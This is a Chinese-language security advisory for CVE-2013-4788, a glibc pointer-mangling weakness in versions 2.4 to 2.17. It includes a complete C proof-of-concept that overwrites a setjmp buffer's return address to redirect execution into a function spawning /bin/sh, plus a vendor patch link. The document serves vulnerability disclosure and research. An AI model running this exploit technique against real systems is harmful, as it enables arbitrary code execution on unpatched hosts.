发布日期：2013-07-16
更新日期：2013-07-17

受影响系统：

GNU glibc 2.7
GNU glibc 2.5
GNU glibc 2.13

描述：

---

BUGTRAQ  ID: 61183
CVE(CAN) ID: CVE-2013-4788

glibc是绝大多数Linux操作系统中C库的实现。

glibc 2.4 -2.17版本存在缓冲区溢出漏洞，攻击者可利用此漏洞在受影响应用上下文中执行任意代码。

<*来源：Hector Marco
        Ismael Ripoll
  
  链接：http://seclists.org/bugtraq/2013/Jul/96
*>

测试方法：

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警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

/*
* $FILE: bug-mangle.c
*
* Comment: Proof of concept
*
* $VERSION$
*
* Author: Hector Marco <hecmargi@upv.es>
*         Ismael Ripoll <iripoll@disca.upv.es>
*
* $LICENSE:  
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
*/

#include <stdio.h>
#include <setjmp.h>
#include <stdint.h>
#include <limits.h>

#ifdef __i386__
   #define ROTATE 0x9
   #define PC_ENV_OFFSET 0x14
#elif __x86_64__
   #define ROTATE 0x11
   #define PC_ENV_OFFSET 0x38
#else
   #error The exploit does not support this architecture
#endif

unsigned long rol(uintptr_t value) {
   return (value << ROTATE) | (value >> (__WORDSIZE - ROTATE));
}

int hacked(){
   printf("[+] hacked !!\n");
   system("/bin/sh");
}

int main(void){
   jmp_buf env;
   uintptr_t *ptr_ret_env = (uintptr_t*) (((uintptr_t) env) + PC_ENV_OFFSET);

   printf("[+] Exploiting ...\n");
   if(setjmp(env) == 1){
      printf("[-] Exploit failed.\n");
      return 0;
   }

   /*Overwrie env return address */
   *ptr_ret_env = rol((uintptr_t)hacked);

   longjmp(env, 1);

   printf("[-] Exploit failed.\n");
   return 0;
}

建议：

---

厂商补丁：

GNU
---
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：

http://www.gnu.org
http://hmarco.org/bugs/patches/ptr_mangle-eglibc-2.17.patch

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